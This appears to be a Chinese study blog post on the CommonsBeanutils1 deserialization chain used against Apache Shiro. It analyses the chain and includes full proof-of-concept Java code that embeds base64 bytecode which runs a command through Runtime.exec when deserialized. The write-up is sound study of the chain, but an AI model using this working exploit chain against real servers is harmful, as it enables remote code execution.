0x01

前篇shiro的利用,需要动态字节码 ,而这种方式需要我们自己添加依赖,所以很局限,而CommonsBeanutils 是shiro的依赖, CommonsBeanutils 是应用于 javabean 的工具

javabean的定义

类必须是具体的和公共的,并且具有无参的构造器,JavaBean通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,set和get方法获取。简单来说就是必须是个public 类且有无参构造器和对应的 get 和 set 方法,且可序列化

Test

类似于,有pulic类  无参构造器,对应的set 和 get

public class Person {public String name;public int age;public Person() {}public Person(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public int getAge() {return age;}public void setName(String name) {this.name = name;}public void setAge(int age) {this.age = age;}
}

Commons-Beanutils

commons-beanutils 是应用于javabean的工具,他提供了一种动态的getter 方法

如果一个Person 类是 JavaBean ,他有一个name属性,则

PropertyUtils.getProperty(new Person(),"name")会调用他的 getName()方法

正常方式调用一个类方法:

Person person = new Person("snowy",17);
System.out.println(person.getName());

PropertyUtils.getProperty 方式调用:

Person person = new Person("snowy",17);
System.out.println(PropertyUtils.getProperty(person,"name"));

如果报错  需要加maven 依赖

<dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version>
</dependency>

这里传入的是name, getProperty() 会将 name 的首字母大写 成 Name ,然后加上get,最后调用的是 getName() 而这种方式,不光可以调用getter,而是可以调用任意方法,无论他有没有,  如果我们传入的是   aaa 则会调用getAaa()

结合到前面的动态字节码 Templateslmpl类,其中 getOutputProperties 是get 开头的,便可以逐个执行动态字节码文件。

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

分析:

跟进分析一下 getProperty() 的实现流程,跟进  getProperty()

    public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return PropertyUtilsBean.getInstance().getProperty(bean, name);}

跟进

    public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return this.getNestedProperty(bean, name);}

调用了新方法,getNestedProperty(),下方会检测传入类型是否为map、索引,不是所以走到了getSimpleProperty()

跟进,之后会走到

 Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);

跟进invokeMethod()

会给value 加上 get 并大写后个字母

所以这里就可以联想到TemplatesImpl#getOutputProperties() ,实现形式:

System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

很好理解,前面加上get 将O大写就实现了。

这里可以结合CC3的链子进行测试

public class BeanComparatorCC3 {public static void main(String[] args) throws Exception {Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());templates.newTransformer();System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));//TemplatesImpl.getOutputProperties() ->//TemplatesImpl.newTransformer() ->//TemplatesImpl.getTransletInstance() ->//TemplatesImpl.defineTransletClasses() ->//TransletClassLoader.defineClass}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

可以成功。

试着找一条反序列化的利用方式。

返回去看看谁调用了   getProperty()

而cc2 在这条链子上 的有限队列类 PriorityQueue的反序列化 readObject()方法中有调用到compare(),  如图:

所以整条链子能够 很明显的浮现

PriorityQueue.readObject() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
defineClass.newInstance()

POC

package shiro;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class shiroCB {public static void main(String[] args) throws Exception {//CC3Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});//Commons-BeanutilsBeanComparator beanComparator = new BeanComparator("outputProperties");//CC2TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);priorityQueue.add(templates);priorityQueue.add(2);setFieldValue(priorityQueue,"comparator",beanComparator);serialize(priorityQueue);unserialize("1.txt");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));out.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));Object o = In.readObject();return o;}

老方法利用,要用脚本加密。

[Java反序列化]CommonsBeanutils1利用链学习相关推荐

  1. [Java反序列化]CommonsCollections3利用链学习

    前言 开始CC3链的学习,学完这个之后就暂时不再看Java的反序列化了,先去把JavaWeb给补一下,可能需要1-2个月的时间.再过2个星期开学了还要忙考试的事情,还有课程,还有很多的事情,到时候会更 ...

  2. 6-java安全——java反序列化漏洞利用链

    本篇将结合一个apache commons-collections组件来学习java反序列化漏洞原理,以及如何构造利用链. 我们知道序列化操作主要是由ObjectOutputStream类的 writ ...

  3. php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2

    Yii框架反序列化RCE利用链2(官方无补丁) Author:AdminTony 1.寻找反序列化点 全局搜索__wakeup函数,如下: 找到\symfony\string\UnicodeStrin ...

  4. java 反序列化漏洞 利用思路简介

    目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...

  5. 深入理解JNDI注入与Java反序列化漏洞利用

    rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...

  6. ysoserial Java反序列化漏洞利用实践

    ysoserial这款工具,堪称为"java反序列利用神器". 一.ysoserial下载与安装 下载 从github上直接下载 git clone https://github. ...

  7. java实现系列化的jdk_Java反序列化之与JDK版本无关的利用链挖掘

    原标题:Java反序列化之与JDK版本无关的利用链挖掘 Java反序列化之与JDK版本无关的利用链挖掘 一.前言: 总感觉年纪大了,脑子不好使,看过的东西很容易就忘了,最近两天又重新看了下java反序 ...

  8. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

  9. 【关于学习渗透】手把手教你玩转java反序列化cb链

    前言 java反序列化cb链大家应该都玩过,博主当初是通过看shiro无依赖了解到的,最近在重学基础,就手把手一点一点调试一遍.记得11月份自博主反思之后,认为自己渗透的学习深度广度都太差,对漏洞的学 ...

最新文章

  1. 1242 Rescue BFS
  2. doctype的种类
  3. OpenGL创建一个GLFW背景红色窗口的实例
  4. Spring Boot + Swagger
  5. PAT (Basic Level) 1080 MOOC期终成绩(模拟+stl)
  6. Linux链接库三(C跟C++之间动态库的相互调用)
  7. AzCopy – 上传/下载 Windows Azure Blob 文件
  8. Himly TCC Dubbo 程序示例
  9. MessageDigest(加密)
  10. 矩阵连乘问题算法思想_算法之矩阵连乘
  11. 短除法求最小公倍数c语言,短除法求最小公倍数
  12. 我有阳光(我爱生活)
  13. 计算机派位志愿填报技巧,小升初电脑派位操作流程详解
  14. 使用python实现短信,邮箱的功能
  15. 新春蓝牙耳机怎么选?五年发烧友吐血盘点,高性能蓝牙耳机推荐
  16. 初识R语言介绍以及常见的问题
  17. 揭秘中国商品期货市场的9大重要因子
  18. github生成密钥步骤
  19. error LNK1123: 转换到 COFF 期间失败: 文件无效或损坏
  20. Spring中的IOC容器原理

热门文章

  1. 测试项目经理推荐的Java 并发测试神器
  2. Android Drawable 那些不为人知的高效用法
  3. 你的麦克风可能需要设置 未修复,问题已解决
  4. PHP实现微信映美打印机,映美在2015--做一台有爱的打印机
  5. 使用Vue+vue-router+路由守卫实现路由鉴权功能实战
  6. ❀数据集❀基于计算机视觉的情绪识别数据集
  7. 低代码平台开发 python_“黄四娘家花满蹊,千朵万朵压枝低。”全诗赏析
  8. 服务器主板能配固态硬盘吗,这下不用再担心老主板不能用新固态硬盘了!
  9. python网格划分_五、网格划分篇-SnappyHexMesh(之二)
  10. uniapp发布h5